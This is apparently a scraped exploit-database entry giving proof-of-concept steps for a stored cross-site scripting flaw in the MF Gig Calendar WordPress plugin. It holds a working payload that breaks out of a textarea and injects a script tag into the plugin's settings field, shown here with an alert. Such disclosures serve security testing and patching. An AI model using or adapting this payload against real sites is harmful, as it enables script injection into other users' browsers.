Share
## https://sploitus.com/exploit?id=WPEX-ID:D34CAEAF-2ECF-44A2-B308-E940BAFD402C
1. Go to "MF Gig Calendar > Settings"
2. In the "Empty Calendar" field, add the payload: `
</textarea><script>alert(/XSS: mfgigcal_settings[message]/)</script>`
3. Click "Save Changes" and see the XSS.